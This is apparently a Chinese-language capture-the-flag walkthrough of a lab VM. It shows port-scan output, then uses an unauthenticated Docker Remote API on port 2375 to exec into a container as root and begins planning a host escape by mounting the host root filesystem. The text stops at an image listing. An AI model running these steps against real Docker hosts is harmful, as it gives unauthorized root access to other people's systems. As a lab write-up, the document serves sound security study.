Out Of Band

信息搜集

192.168.100.39

端口扫描

┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.100.39 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
TreadStone was here 🚀

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.39:22
Open 192.168.100.39:2222
Open 192.168.100.39:2375
Open 192.168.100.39:8000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.39
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-10 09:35 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:35
Completed NSE at 09:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:35
Completed NSE at 09:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:35
Completed NSE at 09:35, 0.00s elapsed
Initiating ARP Ping Scan at 09:35
Scanning 192.168.100.39 [1 port]
Completed ARP Ping Scan at 09:35, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:35
Completed Parallel DNS resolution of 1 host. at 09:35, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 09:35
Scanning 192.168.100.39 [4 ports]
Discovered open port 22/tcp on 192.168.100.39
Discovered open port 2375/tcp on 192.168.100.39
Discovered open port 8000/tcp on 192.168.100.39
Discovered open port 2222/tcp on 192.168.100.39
Completed SYN Stealth Scan at 09:35, 0.02s elapsed (4 total ports)
Initiating Service scan at 09:35
Scanning 4 services on 192.168.100.39
Completed Service scan at 09:36, 26.09s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.39
NSE: Script scanning 192.168.100.39.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:36
Completed NSE at 09:36, 0.36s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:36
Completed NSE at 09:36, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:36
Completed NSE at 09:36, 0.00s elapsed
Nmap scan report for 192.168.100.39
Host is up, received arp-response (0.00076s latency).
Scanned at 2026-06-10 09:35:40 CST for 27s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 10.0p2 Debian 7 (protocol 2.0)
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey:
|   3072 d8:c3:18:93:0f:41:58:9a:cc:89:99:70:21:4b:b7:5c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMMtpE3qHcpsY9VseWVcxjME9+hLqSKAiJnC0WbjPLPGJMlkRgCINbknMUulhHKZS8uU2iV1+jg/y2y3V6mVa+1NIr+osDclJKgW5dI+mWOJFjRxFoWlxjbLzeGyd/fAsgb103X+P2RUpSsK+/aKSh8noOLsEYjLaENCH3AusTu+Fj+IW1GKcN2qPk1yeSLEDqnfE60WSxyyyocq4Org4yQcX4diq1mVW+TpZwkGUqRXKxFZCGXz0vUJ2sdqciWT2ZGArKtGGCmcoRrYKUnhZ51j3IWZamNKrT865C4O4up/+aQzK2M5yQmnPkUjFngJz2tHLA9j7SXxHtqos6Ur94i94P0gKvvvx8CmhD3Ls+ksGbkqmrmE1glpQi5yjHWIPhW/tW6xOomrKPk6DhdpdfPCAVfe9jj8IViCDbSlH1eKr+uI6d4hf05DcIJ76q7XaG1xKG6C7oQ6jbDr8FXIWZ3hSiXG0UWjyDr9BCKWWhQdZ9YE/DGf6AhNlIag6ni3U=
|   256 bb:a1:ce:72:d7:db:04:e8:d8:82:65:68:bf:bf:aa:11 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHnT/ysAYx0buKGOga09/PH14o+ys6YI38pWe+8hIA7tDHJPJVRNuntotVAbbJs12BYODejKHJbyrYQl47Bbus0=
|   256 d9:b6:6a:8d:dd:41:cf:63:ef:20:21:05:e2:35:df:12 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDd4enhAOE5b/AfIy0VPu0X9wT7HkVk2Fj7g8VG7lySr
2375/tcp open  docker  syn-ack ttl 64 Docker 26.1.5+dfsg1
| docker-version:
|   Os: linux
|   Platform:
|     Name:
|   Components:
|
|       Details:
|         Os: linux
|         Arch: amd64
|         KernelVersion: 6.12.63+deb13-amd64
|         Experimental: false
|         GitCommit: 411e817
|         BuildTime: 2026-01-02T14:41:00.000000000+00:00
|         ApiVersion: 1.45
|         MinAPIVersion: 1.24
|         GoVersion: go1.24.4
|       Name: Engine
|       Version: 26.1.5+dfsg1
|
|       Details:
|         GitCommit: 1.7.24~ds1-6+deb13u1
|       Name: containerd
|       Version: 1.7.24~ds1
|
|       Details:
|         GitCommit: 1.1.15+ds1-2+b4
|       Name: runc
|       Version: 1.1.15+ds1
|
|       Details:
|         GitCommit:
|       Name: docker-init
|       Version: 0.19.0
|   BuildTime: 2026-01-02T14:41:00.000000000+00:00
|   KernelVersion: 6.12.63+deb13-amd64
|   ApiVersion: 1.45
|   Version: 26.1.5+dfsg1
|   GitCommit: 411e817
|   Arch: amd64
|   MinAPIVersion: 1.24
|_  GoVersion: go1.24.4
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Content-Type: application/json
|     Date: Wed, 10 Jun 2026 01:36:01 GMT
|     Content-Length: 29
|     {"message":"page not found"}
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 404 Not Found
|     Content-Type: application/json
|     Date: Wed, 10 Jun 2026 01:35:44 GMT
|     Content-Length: 29
|     {"message":"page not found"}
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Api-Version: 1.45
|     Docker-Experimental: false
|     Ostype: linux
|     Server: Docker/26.1.5+dfsg1 (linux)
|     Date: Wed, 10 Jun 2026 01:35:44 GMT
|     Content-Length: 0
|   docker:
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
| http-methods:
|_  Supported Methods: OPTIONS
8000/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.65 ((Debian))
| http-git:
|   192.168.100.39:8000/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: feat: updated login frontend
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.65 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:BA:5C:C9 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=6/10%OT=22%CT=%CU=34309%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A28BF87%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=107%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 17.489 days (since Sat May 23 21:51:39 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.76 ms 192.168.100.39

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:36
Completed NSE at 09:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:36
Completed NSE at 09:36, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:36
Completed NSE at 09:36, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.52 seconds
           Raw packets sent: 27 (1.982KB) | Rcvd: 19 (1.454KB)

22 SSH
2222 SSH (docker映射出来的)
2375 Docker Remote API
8080 HTTP (docker映射出来的)

2375存在Docker远程API未授权访问，所以可以利用这个未授权访问查看docker内部容器

┌──(root㉿Eecho)-[~]
└─# docker -H tcp://192.168.100.39:2375 ps
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                                                              NAMES
56fabc0fb990   ctf-target-v2:latest   "/bin/sh -c 'service…"   4 months ago   Up 5 minutes   0.0.0.0:2222->22/tcp, [::]:2222->22/tcp, 0.0.0.0:8000->80/tcp, [::]:8000->80/tcp   ctf-box

只有一个ctf-target-v2:latest容器

使用exec -it访问docker内部

┌──(root㉿Eecho)-[~]
└─# docker -H tcp://192.168.100.39:2375 exec -it 56fabc0fb990 /bin/bash
root@56fabc0fb990:/# id
uid=0(root) gid=0(root) groups=0(root)

‍

提权

docker root -> root

现在需要docker逃逸到宿主机，既然2375存在未授权那么可以启动一个新容器挂载宿主机的根目录

┌──(root㉿Eecho)-[~]
└─# docker -H tcp://192.168.100.39:2375 images
                                                                                                                                         i Info →   U  In Use
IMAGE                  ID             DISK USAGE   CONTENT SIZE   EXTRA
ctf-target-v2:latest   06748e57a1af        261MB             0B
ctf-target:latest      267885ef0bd7        261MB             0B